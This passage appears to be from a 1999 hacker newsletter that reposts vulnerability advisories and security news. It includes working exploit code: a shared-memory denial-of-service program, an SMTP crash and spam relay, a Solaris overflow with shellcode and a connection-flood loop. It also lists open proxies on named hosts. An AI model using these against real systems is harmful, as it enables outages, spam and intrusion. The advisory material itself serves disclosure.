~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~
### ### ### ### ###
### ### ### ### ###
###### ###### ###
### ### ### ### ###
### ### ### ### ###
S E C U R I T Y
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ Contacts ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~
KKI Security Team Cracow Commercial Internet
http://www.security.kki.pl http://www.kki.pl
mailto:security@security.kki.pl mailto:biuro@kki.pl
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ Informations ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~
Raport title : Shared Memory DoS - IPC vulnerability (Linux
abuse as example)
Problem found by : Robert Pajak (shadow@security.kki.pl),
probably other ppl found that first - one of them is
lcamtuf, Solar Designer is probably other...
Raport created by : Robert Pajak (shadow@security.kki.pl)
Lukasz Luzar (lluzar@security.kki.pl)
Raport published : 14 September, 1999
Raport code : KKIS.14091999.004.b
Vulnerable programs : system vulnerability...
Systems affected : Linux, other (?) ...
Archive : http://www.security.kki.pl/advisories/
Risk level : high
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ Description ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~
Useing attached program one can DoS machine even when limits are set
up...
This is due to fact that shared memory segments can exist without
beeing bind with processes. To protect you should diable this
operations, or use Solar Designer's stack patch with limits set,
etc...
Alan Cox has been notified...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ Impact ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~
Local Denial of Services attack - simple bypassing limits...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ Example ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~
/* SharedDream - (c) Shadow, KKI Security */
/* */
/* I'm not responsible for any damaged done by this proggie... */
/* It should be used only for education... */
/* To protect - use brain, Solar's patches, or whatever... */
/* This problem is because shared memory segments can exist even */
/* if they are not combined with programs! */
/* !This program will crash your machine (localy) at kernels 2.x! */
/* If you are on kernels 2.2.x with limits run it twice :) */
/* really - even when rescource limits are set! :) */
/* Probably original idea by lcamtuf */
/* heck you should told me that you found it */
/* first ;) */
/* heh - worm greetings for for Coding Style ;) */
#include <stdio.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#define BOLD "\033[00;04m"
#define BLUE "\033[00;36m"
#define STAN "\033[00;00m"
void main(void)
{
char *p;
int i = 10000000;
printf("\n\n");
printf(BOLD "*)" BLUE " SharedDream"STAN" - shared memory segments
abuser\n");
printf(BOLD "*)\n" STAN);
printf(BOLD "*)" STAN " (c) 1999" BOLD " Shadow " STAN "(" BOLD
"shadow@security.kki.pl" STAN ")\n");
printf(BOLD "*)" STAN " greetz to " BOLD " vision (yo remember me),
lcamtuf, kodzak, #??? ppl, Lam3rz, daworm, Trolinka, viedzmin other folks i
forgot to mention\n" STAN);
printf(BOLD "*)" STAN " Now it will eat up your memory even if it seems to
be limited\n");
printf(BOLD "*)" STAN " Starting...");
fflush(stdout);
while (1)
if (p = shmat(shmget(0, i, 0777), 0, 0))
memset( p,'\0',i); // need to touch
memory somehow
printf(".DoW.");
fflush(stdout);
}
else {
i--;
}
}
exit(0);
}
~~~~~~~~~~~~~~~~~~~~~~~~~~[ Copyright
statement ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright (c) 1999 KKI Security Team, Poland
All rights reserved.
All questions please address to mailto:security@security.kki.pl
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~
@HWA
66.0 TenFour TFS SMTP 3.2 Buffer Overflow
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Subject: [SECURITY] TenFour TFS SMTP 3.2 Buffer Overflow
To: BUGTRAQ@SECURITYFOCUS.COM
INTRINsec Security Advisory
Release Date : August 30, 1999
Software : TenFour TFS SMTP 3.2
Operating System: Windows NT 3.x / 4.x
Impact : The attackers can use a misconfigured TFS SMTP for
spamming and can remotely crash the TFS SMTP Gateway.
Author : Christophe.Lesur@INTRINsec.com
Status : TenFour is advised from this.
URLs : http://www.intrinsec.com/
__ Diggest __
The TenFour TFS SMTP Release 3.2 has two vulnerabilities : A buffer overflow
and, under some circumstances and due to inherent TFS architecture, it can
be used for spamming.
Direct results are that an attacker can remotly crash your TFS SMTP Gateway
or send unsollicited mails to someone ( and TFS ADMINISTRATOR ).
Tenfour is advised from this. Thanks to Roberto Correnti for his support.
(http://www.tenfour.com)
__ Technical Details and Exploits __
TENFOUR TFS SMTP Version 3.2 has two vulnerabilities : a buffer overflow and
under some circumstances it can be used for spamming.
First : Buffer Overflow.
There is a major buffer overflow in TFS SMTP 3.2. When you connect to the
SMTP service on port 25, you get the TFS PROMPT. After sending the 'helo'
command, if you send a 'MAIL FROM' larger than 128 bytes, you will crash the
SMTP service with a nice protection fault. It's basically a buffer overflow
and this has been fixed in release 4.0
This is the exploit :
[clesur@raptor clesur]$ telnet mailhost.victim.com 25
Trying 1.1.1.1...
Connected to mailhost.victim.com.
Escape character is '^]'.
220 mailhost.victim.com is ready. TFS SMTP Server ver 3.2
helo
250 mailhost.victim.com, Hello
mail from:<ddddddddddddd ... lots of char ... dddddddddddddddd>
Connection closed by foreign host.
Second : Spamming
The TFS SMTP Engine accepts any mails by default and process them in its kernel.
In case of a deficient message (wrong recipient, wrong domain...) TFS SMTP is
usually configured to warn sender and the TFS ADMINISTRATOR by sending a 4-line warning
AND the full message. Because there is no domain check before sending the message to
the TFS core, it's possible to spam someone and the TFS administrator.
This is the exploit :
[clesur@raptor clesur]$ telnet mailhost.tfsvictim.com 25
Trying 1.1.1.1...
Connected to mailhost.tfsvictim.com.
Escape character is '^]'.
220 mailhost.tfsvictim.com is ready. TFS SMTP Server ver 3.2
helo
250 mailhost.tfsvictim.com, Hello
mail from:<target@victim.com>
250 Sender <target@victim.com> OK
rcpt to:<target@victim.com>
250 Recipient <target@victim.com> OK
data
354 Begin data transfer. End with period.
from: target@victim.com
to: target@victim.com
<YOUR MESSAGE BODY HERE>
.
250 Message accepted
quit
221 Connection closed
Connection closed by foreign host.
The spammed user will receive this message in its mailbox.
Message 22:
From target@victim.com Thu Jul 29 09:49:40 1999
Delivered-To: target@victim.com
From: target@victim.com
Date: Thu, 29 Jul 1999 11:44:03 +0200
Subject: <No subject>
MIME-version: 1.0
Content-transfer-encoding: quoted-printable
####################################################
This message was not delivered to
target@victim.com
TFS Admin was informed with a copy of this message
Sender was informed with a copy of this message
####################################################
<YOUR MESSAGE BODY HERE>
__ Solutions __
For theses vulnerabilities, TenFour suggests upgrading to a version greater
than 4.0.
__ Contacts __
-- Tenfour --
TenFour South Europe
ITFamily Sarl
Le Technoparc
15, rue Edouard Jeanneret
78306 Poissy Cedex
France
Tel: +33 1 39 22 65 15
Fax: +33 1 39 11 49 77
WWW: http://www.tenfour.fr
-- INTRINsec --
INTRINsec is a computer Security company.
http://www.INTRINsec.com
This advisory is available in french.
Cet avis est disponible en francais sur notre site.
__ DISCLAMERS __
INTRINsec DISCLAIMS ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, AND PROVIDED
THESES INFORMATIONS "AS IS" WITHOUT WARRANTY OF ANY KIND. INTRINsec IS NOT
LIABLE FOR ANY DAMAGES WHATSOEVER EVEN IF INTRINsec HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
--
Christophe Lesur Security Consultant
INTRINsec
mailto:christophe.lesur@INTRINsec.com
@HWA
67.0 Solaris 2.7 /usr/bin/mail exploit/buffer overflow vulnerability
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Subject: Solaris 2.7 /usr/bin/mail
To: BUGTRAQ@SECURITYFOCUS.COM
Greetings,
There is a possible buffer overflow vulnerability in Solaris 2.7's sgid
mail /usr/bin/mail. The reason it's only a possibility and not a full
blow exploit is that mail drops sgid privs before the overflow occurs.
However as we've seen in several past posts, this is not necessarily a
bulletproof method of making ones program secure. Obviously mail needs
these privs to perform some function, probably opening the appropriate
mail owned files to deliver mail. My guess would be that in the
following usage, mail would need write (read?) access to foo's mail file.
bash-2.02$ mail -m `perl -e "print 'A' x 2106"` foo
.
mail: ERROR signal 11
bash-2.02$
In any case, this overflow does allow execution of any command you wish
as shown in the program at the end of this message. I would imagine that
with some careful asm code, one would be able to exploit the specific
vulnerability that may exist. Information on exactly what mail does with
it's s bit would be helpful.
Brock Tellier
UNIX Systems Administrator
Webley Systems
www.webley.com
--- solx86.c ---
/*
* Generic Solaris x86 exploit program by Brock Tellier
* Shellcode by Cheez Whiz
* gcc -o mailex solx86.c
* /usr/bin/mail -m `./mailex 0 1985 2285` foo
. <period, enter>
$ <not a rootshell ;)>
* Usage: ./mailex <offset> <NOPS> <BUFSIZE>
*
* Demonstrative program for mail vulnerability. mail apparently drops
privs
* before the overflow occurs so we're not going to have a sgid mail
shell.
* Perhaps someone could make some 'shellcode' to exploit an open file
* descriptor or something (whatever the reason mail is sgid mail).
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BUF 10000
#define NOP 0x90
char shell[] =
"\xeb\x3b\x9a\xff\xff\xff\xff\x07\xff"
"\xc3\x5e\x31\xc0\x89\x46\xc1\x88\x46"
"\xc6\x88\x46\x07\x89\x46\x0c\x31\xc0"
"\x50\xb0\x17\xe8\xdf\xff\xff\xff\x83"
"\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53"
"\x8d\x1e\x89\x5e\x08\x53\xb0\x3b\xe8"
"\xc8\xff\xff\xff\x83\xc4\x0c\xe8\xc8"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff";
unsigned long int nop;
unsigned long int esp;
long int offset;
char buf[BUF];
unsigned long int get_esp()
{
__asm__("movl %esp,%eax");
}
void
main (int argc, char *argv[])
{
int buflen, i;
if (argc > 1)
offset = strtol(argv[1], NULL, 0);
if (argc > 2)
nop = strtoul(argv[2], NULL, 0);
else
nop = 285;
if (argc > 3)
buflen=atoi(argv[3]);
else
buflen=BUF;
esp = get_esp();
memset(buf, NOP, buflen);
memcpy(buf+nop, shell, strlen(shell));
for (i = nop+strlen(shell); i < buflen-4; i += 4)
*((int *) &buf[i]) = esp+offset;
for (i = 0; i < strlen(buf); i++) putchar(buf[i]);
return;
}
---
@HWA
68.0 remote DoS against inetd and ssh
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Subject: remote DoS against inetd and ssh
To: BUGTRAQ@SECURITYFOCUS.COM
Hi,
At the beginning i'd like to excuse all of you if it is commonly well
known (hmm, i guess it is, but noone patched it ;>.
Both DoS`s use something known as portfuck (e.g. `while true; do telnet
host port & done`).
1. If you use it against any inetd service, inetd will shoutdown that
service for about 30 minutes (i did not checked, but it seems to be about
that time).
2. If you use it against sshd, you have 99% that you crash the mashine in
few seconds.
TESTED:
sshd-1.2.26 on Debian 2.0
sshd-1.2.27 on Debian 2.1
sshd-1.2.27 on RedHat 5.2
inetd - one provided with Debian 2.0/2.1/Redhat 5.2
all above platforms are VULNURABLE to this attack
COMPROMISE:
Allows any user to hang many machines in the Internet (i guess that only
these behind a firewall are secure ;>
SOLUTION:
propaply running in ulimit envirmont (like qmail does) should help and
additionally in inetd remove this strange 'protection'.
regards,
greg AKA VanitaS
***************************************************************************
* Grzegorz Stelmaszek * For my public PGP key:
* mailto:greg@tenet.pl * finger:greg@tenet.pl
* http://www.tenet.pl * 18 E9 5E 6D 78 F0 11 F2
****************************** 45 CF CF 63 77 C0 A4 20
@HWA
69.0 Sun Security Bulletin #00189
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Subject: Sun Security Bulletin #00189 (fwd)
To: BUGTRAQ@SECURITYFOCUS.COM
--
Kis-Szabo Andras Technical University of Budapest
-----------------------------/ Schonherz Zoltan Dormitory
kisza@sch.bme.hu /-------------------------------3OO--->>>.Info
Fingerprint = 97 D7 32 CE F9 74 5C A0 E5 F4 09 29 67 9F A8 78
---------- Forwarded message ----------
Date: Wed, 8 Sep 1999 11:20:55 -0700
From: Sun Security Coordination Team <secure@sunsc.Eng.Sun.COM>
To: CWS@sunsc.Eng.Sun.COM
Subject: Sun Security Bulletin #00189
-----BEGIN PGP SIGNED MESSAGE-----
________________________________________________________________________________
Sun Microsystems, Inc. Security Bulletin
Bulletin Number: #00189
Date: September 8, 1999
Cross-Ref:
Title: LC_MESSAGES
________________________________________________________________________________
The information contained in this Security Bulletin is provided "AS IS."
Sun makes no warranties of any kind whatsoever with respect to the information
contained in this Security Bulletin. ALL EXPRESS OR IMPLIED CONDITIONS,
REPRESENTATIONS AND WARRANTIES, INCLUDING ANY WARRANTY OF NON-INFRINGEMENT OR
IMPLIED WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE, ARE
HEREBY DISCLAIMED AND EXCLUDED TO THE EXTENT ALLOWED BY APPLICABLE LAW.
IN NO EVENT WILL SUN MICROSYSTEMS, INC. BE LIABLE FOR ANY LOST REVENUE,
PROFIT OR DATA, OR FOR DIRECT, SPECIAL, INDIRECT, CONSEQUENTIAL, INCIDENTAL
OR PUNITIVE DAMAGES HOWEVER CAUSED AND REGARDLESS OF ANY THEORY OF LIABILITY
ARISING OUT OF THE USE OF OR INABILITY TO USE THE INFORMATION CONTAINED IN
THIS SECURITY BULLETIN, EVEN IF SUN MICROSYSTEMS, INC. HAS BEEN ADVISED OF
THE POSSIBILITY OF SUCH DAMAGES.
If any of the above provisions are held to be in violation of applicable law,
void, or unenforceable in any jurisdiction, then such provisions are waived
to the extent necessary for this disclaimer to be otherwise enforceable in
such jurisdiction.
________________________________________________________________________________
1. Bulletin Topics
Sun announces the release of patches for Solaris(tm) 7 and 2.6 (SunOS(tm)
5.7 and 5.6) which relate to a buffer overflow vulnerability involving
the LC_MESSAGES environment variable.
Sun recommends that you install the patches listed in section 4
immediately on systems running SunOS 5.7 and 5.6.
2. Who is Affected
Vulnerable: SunOS 5.7, 5.7_x86, 5.6, 5.6_x86.
Not vulnerable: All other supported versions of SunOS.
3. Understanding the Vulnerability
In libc, the LC_MESSAGES environment variable affects the behavior of
messaging functions. A vulnerability exists where a buffer overflow
could be exploited to gain root access. The patches listed in this
bulletin address both libc and the ufsrestore and rcp binaries which
are statically linked against libc.
4. List of Patches
The following patches are available in relation to the above problem.
SunOS version Patch ID
_____________ _________
5.7 106541-07
5.7 ufsrestore 106793-03
5.7 rcp 107972-01
5.7_x86 106542-07
5.7_x86 ufsrestore 106794-03
5.7_x86 rcp 107973-01
5.6 105210-24
5.6 ufsrestore 105722-03
5.6 rcp 107991-01
5.6_x86 105211-22
5.6_x86 ufsrestore 105723-03
5.6_x86 rcp 107992-01
_______________________________________________________________________________
APPENDICES
A. Patches listed in this bulletin are available to all Sun customers at:
http://sunsolve.sun.com/pub-cgi/show.pl?target=patches/patch-license&nav=pub-patches
B. Checksums for the patches listed in this bulletin are available at:
ftp://sunsolve.sun.com/pub/patches/CHECKSUMS
C. Sun security bulletins are available at:
http://sunsolve.sun.com/pub-cgi/secBulletin.pl
D. Sun Security Coordination Team's PGP key is available at:
http://sunsolve.sun.com/pgpkey.txt
E. To report or inquire about a security problem with Sun software, contact
one or more of the following:
- Your local Sun Solution Center
- Your representative computer security response team, such as CERT
- Sun Security Coordination Team. Send email to:
security-alert@sun.com
F. To receive information or subscribe to our CWS (Customer Warning System)
mailing list, send email to:
security-alert@sun.com
with a subject line (not body) containing one of the following commands:
Command Information Returned/Action Taken
_______ _________________________________
help An explanation of how to get information
key Sun Security Coordination Team's PGP key
list A list of current security topics
query [topic] The email is treated as an inquiry and is forwarded to
the Security Coordination Team
report [topic] The email is treated as a security report and is
forwarded to the Security Coordination Team. Please
encrypt sensitive mail using Sun Security Coordination
Team's PGP key
send topic A short status summary or bulletin. For example, to
retrieve a Security Bulletin #00138, supply the
following in the subject line (not body):
send #138
subscribe Sender is added to our mailing list. To subscribe,
supply the following in the subject line (not body):
subscribe cws your-email-address
Note that your-email-address should be substituted
by your email address.
unsubscribe Sender is removed from the CWS mailing list.
________________________________________________________________________________
Copyright 1999 Sun Microsystems, Inc. All rights reserved. Sun,
Sun Microsystems, Solaris and SunOS are trademarks or registered trademarks
of Sun Microsystems, Inc. in the United States and other countries. This
Security Bulletin may be reproduced and distributed, provided that this
Security Bulletin is not modified in any way and is attributed to
Sun Microsystems, Inc. and provided that such reproduction and distribution
is performed for non-commercial purposes.
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBN9ajGLdzzzOFBFjJAQH6UAP/TeqiirvcgwPXeDGhVZ+zhbtllptxwCto
g9h++H1M8UN0WC5170OGNlGWTHqxVD3JwlIGwlev6ydvnDJCJg4ADXNnX7bW00rs
B3lPPl/s82iTeUPV5CGN9S0ZNIb0H9IlsN8v/dZCLGv9+3SryF1WO3kPAeOJIzsJ
C+AYwQ7ykEo=
=k8ch
-----END PGP SIGNATURE-----
@HWA
70.0 VLAN Security holes in cisco catalyst
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Subject: Re: VLAN Security
To: BUGTRAQ@SECURITYFOCUS.COM
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Hi,
You're right this is definitively a problem.
However I don't think it is related to the 802.1Q specification. Any
non-trunk port should discard 802.1Q frames because non-trunk ports
are just regular ethernet ports. We have a 2924M here, I'll test that
and alarm the whole company (boy, do I love this list :-) ).
FYI, something else you might want to try. The 802.1Q spec does not
have provisions for one instance of spanning tree per vlan (as
opposed to ISL). It means anyone can inject BPDUs into your network
and generate topology changes (or even claim to the be root switch).
Since most people use the STP defaults, the perpetrator only needs to
send one BPDU every 30 seconds to make sure that the connectivity to
be disrupted remains disrupted.
The important part of this is: with 802.1Q (one spanning for all
vlans), you can adversely affect any vlan, REGARDLESS of the vlan
you're a member of.
Cisco has fixed this by extending the spanning tree spec. They now
have something called Per Vlan Spanning Tree+. Check with Cisco for
specific version numbers.
Oh! And try SA6 on the 2924M-XL, it allows you to have a management
vlan other than vlan 1. Since vlan 1 cannot be removed from trunks,
someone could easily take control of your whole network of switches
if he/she could get his/her hands on vlan 1.
Yves Lepage
Consultant - Broadband Technology
Bell Nexxia
> -----Original Message-----
> From: Bugtraq List [mailto:BUGTRAQ@SECURITYFOCUS.COM]On Behalf Of
> bugtraq
> Sent: Wednesday, September 01, 1999 4:45 AM
> To: BUGTRAQ
> Subject: VLAN Security
>
>
> To Bugtraq,
>
> We have recently conducted some testing into the security of the
> implementation of VLANs on a pair of Cisco Catalyst 2900 series
> switches and we feel that the results of this testing might be of
> some value to the readers. Testing basically involved injecting
> 802.1q frames with forged VLAN identifiers into the switch in an
> attempt to get the frame to jump VLANs. A brief background is
> included below for those that might not be too familiar with VLANs.
> Others should skip to the end for the results.
>
> Background
> ==========
> Virtual LAN (VLAN) technology is used to create logically separate
> LANs on the same physical switch. Each port of the switch is
> assigned to a VLAN. In the case of the Cisco Catalyst, VLAN'ing is
> done at layer 2 of the OSI network model, which means that a layer
> 3 device (router) is required to get traffic between VLANs
> (possibly a filtering device).
>
> In addition to the above, VLANs may be extended beyond a single
> switch through the use of trunking between the switches. The trunk
> allows VLANs to exist on multiple switches. To preserve VLAN
> information across the trunk, the ethernet frame is 'wrapped' in a
> trunking protocol. Cisco have their own proprietary trunking
> protocol, but they also support the emerging 802.1q standard - we
> used 802.1q trunking in these tests.
>
> Basically, 802.1q adds a tag to the ethernet frame that specifies
> the VLAN that the frame belongs to. Thus, when it is transported
> between switches over the trunk, it is possible for the receiving
> switch to send the frame to the correct VLAN. In Cisco's
> implementation of 802.1q the tag is four bytes long and has the
> format "0x 80 00 0n nn" where nnn is the VLAN identifier. The tag
> is inserted into the ethernet frame immediately after the source
> MAC address. So, an ethernet frame entering switch 1 on a port
> that belongs to VLAN 4 has the tag "80 00 00 04" inserted. The
> 802.1q frame traverses the switch trunk and the tag is stripped
> from the frame before the frame leaves the destination switch port.
>
>
> For more information on 802.1q -
> http://grouper.ieee.org/groups/802/1/vlan.html
>
> During our tests we used the packet generation tool of Network
> Associates' Sniffer Pro v 2 to generate 802.1q frames with modified
> VLAN identifiers in an attempt to get frames to hops VLANs without
> the intervention of a layer 3 device.
>
> Findings
> ========
> We found that under specific conditions it was possible to inject
> frames into one VLAN and have them 'hop' to a different VLAN. This
> is a serious concern if the VLAN mechanism is being used to
> maintain a security gradient between two network segments. This
> has been discussed with Cisco and we believe that it is an issue
> with the 802.1q specification rather than an implementation issue.
>
> The trunk port, along with all the other ports, must be assigned to
> a VLAN. If some non-trunk ports on the switch share the same VLAN
> as the trunk port, then it is possible to inject modified 802.1q
> frames into these non-trunk ports, and have the frames hop to other
> VLANs on another switch.
>
> eg.
> Switch 1 has ports 1-12 on VLAN 1
> Switch 1 has ports 13-23 on VLAN 2
> Switch 1 has port 24 configured as an 802.1q trunk (VLAN 1)
> Switch 2 has ports 1-12 on VLAN 1
> Switch 2 has ports 13-23 on VLAN 2
> Switch 2 has port 24 configured as an 802.1q trunk (VLAN 1)
> Machine 1 is on port 1, switch 1.
> Machine 2 is on port 13, switch 2.
>
> We can send 802.1q frames with the following details...
> Source MAC = Machine 1
> Destination MAC = Machine 2
> VLAN ID = VLAN 2
> ...from machine 1 and they will arrive at machine 2.
>
> This will only occur if the trunk port belongs to the same VLAN as
> machine 1.
> * We tried this only for the trunk belonging to VLAN 1. We expect
> that similar results would be achieve if machine 1 and the trunk
> port shared VLAN 3, 4, ...
>
> Implications
> ============
> This is a problem if the following conditions are met:
> 1. The attacker has access to a switch port on the same VLAN as
> the trunk. 2. The target machine is on a different switch. 3.
> The attacker knows the MAC address of the target machine.
>
> In a real-life scenario, there may also be a requirement for some
> layer 3 device to provide a connection from VLAN 2 back to VLAN 1.
>
> Recommendations
> ===============
> Try not to use VLANs as a mechanism for enforcing security policy.
> They are great for segmenting networks, reducing broadcasts and
> collisions and so forth, but not as a security tool.
>
> If you MUST use them in a security context, ensure that the
> trunking ports have a unique native VLAN number.
>
> Final Notes
> ===========
> Thanks to those at Cisco who assisted in the handling of this
> issue. The two switches used for testing were WS-C2924M-XL's. They
> were both running 11.2(8)SA5. Additional information on test
> configuration will be made available on request.
>
> Regards,
>
> Dave Taylor (david.taylor@alphawest.com.au)
> Steve Schupp (steve.schupp@alphawest.com.au)
-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 6.5.1 for non-commercial use <http://www.pgp.com>
iQA/AwUBN9Z1xqktD0ID/HtTEQI52QCg+ArG1J8hm63aqNUXIRao85JeBkQAnifY
KuP+Gs9wT0IWF4wVhpyKR+lx
=z1sQ
-----END PGP SIGNATURE-----
@HWA
71.0 Wingates list
~~~~~~~~~~~~~
I'm not responsible for anything you do with this list, they are presented here so that
the offending machines can fix their configurations so that they may not be abused (irc etc).
http://djice.freehosting.net/wingates.txt
208.45.226.110:1080
209.146.27.5:1080
adsl-216-103-210-236.dsl.snfc21.pacbell.net:1080
ns.elaso.cz:1080
mpa2.access.ch:1080
ip-207-60.dsl.dancris.com:1080
212.29.218.132:1080
btstts02c60.nbnet.nb.ca:1080
194.186.36.129:1080
ip240.fredericksburg3.va.pub-ip.psi.net:1080
@HWA
72.0 US Army Uses BO2K
~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com
contributed by Weld Pond
U.S. Army special agents from the Army Criminal
Investigation Command have 'proved' that NetBus and
Back Orifice can be used to hijack desktop camera and
microphone applications for the purposes of industrial
espionage, spying or to gather evidence for a criminal
investigation. The commandeered cameras and
microphones can then secretly send data to a
monitoring station unbeknownst to the end user.
PC World
http://www.pcworld.com/pcwtoday/article/0,1510,12891,00.html
(See section 33.0 Your Pc Could be Tapped)
@HWA
73.0 India And Pakistan Duke It Out In Cyberspace
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com
contributed by no0ne
While more than 1000 soldiers from both India and
Pakistan died fighting in an undeclared war in the
mountains of Kashmir, the two countries were slugging it
out in cyber space too. Indian and Pakistani computer
professionals in the United States and Europe helped
their home countries by handing out information on how
to cripple the enemy's computer systems. An interview
with an Indian Army Major would not confirm that the
attacks on computer systems where sponsored by the
Pakistani government, and went on to say that India
would not resort to such childish acts as cyber
terrorism.
FairFax IT
http://www.it.fairfax.com.au/communications/19990921/A12383-1999Sep20.html
Sub-continent in Web war
By D. J. VARMA
Tuesday 21 September 1999
ANOTHER bloody
chapter was written in
history of the
sub-continent earlier in
the year, when more than
1000 soldiers from
Pakistan and India died
fighting an undeclared
war in the mountains of
Kashmir. Finally, after a
meeting between
President Clinton and
Pakistani Prime Minister
Nawaz Sharif in
Washington in July, all troops were withdrawn.
At the same time they have been fighting a war over
information, with several Internet resources hacked
in both countries. With some of the best software
skills in the world, the fighting over the Internet is just
as ferocious as in the snow-capped mountains of
Kashmir.
Several top Indian and Pakistani computer
professionals in America and Europe are "helping"
their respective governments by supplying
information on the best way to harm the enemy's
computer systems.
In October last year, anyone logging on to the Indian
army website www.armyinkashmir.org found
themselves viewing the contents of a Pakistani
Government website which gave an anti-Indian slant
on the Kashmir issue.
The Indian Government traced this hacking to a
Pakistan-based information services firm. The
hackers, using the handles of Gharib Hanif and
Munda Pakistani, successfully managed to divert all
logins to the Indian site to their own in Pakistan for
two days.
More recently, while battles raged in the mountains
in Kashmir in May, there was another attack on
www.armyinkashmir.org. With about 200 e-mails of
support and financial help being received daily by
the Indian Government at this Web address, the
mail component of the website was tampered with.
All pro-Indian e-mail was diverted to a different
address. The Indian armed forces, using some of
the best computer professionals in the country,
quickly recovered from the hack attack.
The Indian Government, in turn, cut off all network
access on 25June this year to the website of the
respected Pakistan newspaper Dawn at
www.dawn.com. Nobody from India could get
access to the Dawn website for more than a
fortnight.
Several Indian national newspapers campaigned for
the restoration of Internet access to Dawn, a
newspaper seen as a powerful voice for democracy
and moderation in Pakistan.
In the past year, most of the government sites in
these two countries, including the Bhabha Atomic
Research Centre where India's atomic technology
was developed, have been attacked.
The Indian army's webmaster, Major Vivek
Bhatnagar, at only 35, is typical of the new breed of
leading-edge Indian computer professionals serving
in the armed forces. He had five years of physical
training at the National Defence Academy while he
completed his BSc and B Tech, and later topped
the Advanced Computing course.
After a stint with Military Intelligence, he has taken
charge of the army's Internet cell. In an interview for
The Age he spoke about his team's role in
defending Indian military installations from the
hackers. Major Bhatnagar politely declined to
answer questions about more sensitive issues such
as whether the Pakistani intelligence agencies were
behind the attacks on Indian computer systems.
Bhatnagar said www.armyinkash- mir.org was the
first propaganda site managed by the Indian Armed
Forces to counter a Pakistani disinformation
campaign. "We were relatively new to the concept
and that was perhaps the reason why the whole
thing happened," he said.
"The site was not broken into or hacked as such.
What had actually happened was that somebody
had got the URL www.armyinkashmir.org lead to
some other site which was an anti-Indian site. This
was corrected within two days and the original site
was restored."
Bhatnagar said the Indian Government was aware
of Pakistan groups behind the attacks but would not
go into details. However, he said more than 100
were financed or set up by the Pakistan
Government.
The three official websites of the Indian Army are
www.armyinkashmir.org, armedforces.nic.in and
www.vijayinkargil.org/www.vijayinkargil.com.
Bhatnagar said the Indian Government would not
retaliate against hackers. "We do not believe in
hacking. Hacking is typically an immature,
irresponsible and illegal act. The Indian Armed
Forces do not resort to cheap gimmicks."
He confirmed that several Indian computing
professionals abroad had offered help. "Thousands
of offers came from all over the world. But mostly
they were from the US," he said.
"When the site was launched, we had tons of
e-mails offering all kinds of help. Offers ranged from
adopting a martyr's family to educating the children,
to hosting websites, to hacking Pakistani
propaganda sites to something as diverse as a
doctor from the US offering to come and cook for
the soldiers.
"The response of the Indian community worldwide
was tremendous and touching."
He acknowledged that the conflict was a good
example of a cyber-war, in terms of information
access. "While the world did have access to print
and electronic media, it was greatly restricted. The
cybermedia for the first time was available with
authentic and near real time information. A great
majority of people were thus relying upon this media
for daily updates."
Meanwhile, the publisher and chief executive of a
news group in Pakistan found the Internet edition of
Dawn the target of attack from India. Hameed
Haroon, 46, has masters degrees from Harvard and
Boston Universities. He also holds a BSc (Hons)
from the prestigious London School of Economics.
His reputation as a leading intellectual of the
sub-continent was further enhanced by his deft
handling of the Indian Government's attempts to cut
off internet access to Dawn during the conflict.
During the Kargil conflict earlier this year, he
believes Dawn was the only website that was
targeted.
"We started receiving complaints from our Indian
readers around 25June that they could not access
our website. We requested several of them to do a
`trace route', a program that traces the Internet path
between the computer asking for a web page and
the computer that has the subject page.
"About 15 people replied from different cities in
India. All except one said that they could not access
Dawn's site. And all except one subscribed to
VSNL- Videsh Sanchar Nigam Ltd, virtually India's
only Internet Service Provider.
"Four of them also sent us the results of trace routes
they had done. These clearly showed that VSNL's
backbone servers at their gateway in Mumbai
(Bombay) were blocking access to Dawn's web
site."
Haroon said he could not pinpoint whether a
particular story prompted the action. "Dawn has
earned its reputation as one of the most respected
newspapers in South Asia because of its balanced
response to the crises that periodically affect this
volatile region. That's why we have an influential,
albeit small readership in India - a readership of
policy makers, think tanks, diplomats, journalists
and academics - those who read our newspaper to
get an insight into the perceptions of the more
moderate and influential elements of Pakistani
public opinion.
"Failure to understand these perceptions can only
worsen current misunderstandings between both
nations." Haroon said there was no forewarning of
the impending blocking. "When it happened we
were convinced that it was the work of an
over-zealous sys-op at VSNL, rather than something
officially sanctioned."
Access to the site was restored to Indian readers on
13July.
"I'd like to clarify that access to our website was only
blocked to users in India, and everybody else in the
world could still visit our site. Our site was always
fully functional." He said that Dawn was a regular
target of hackers.
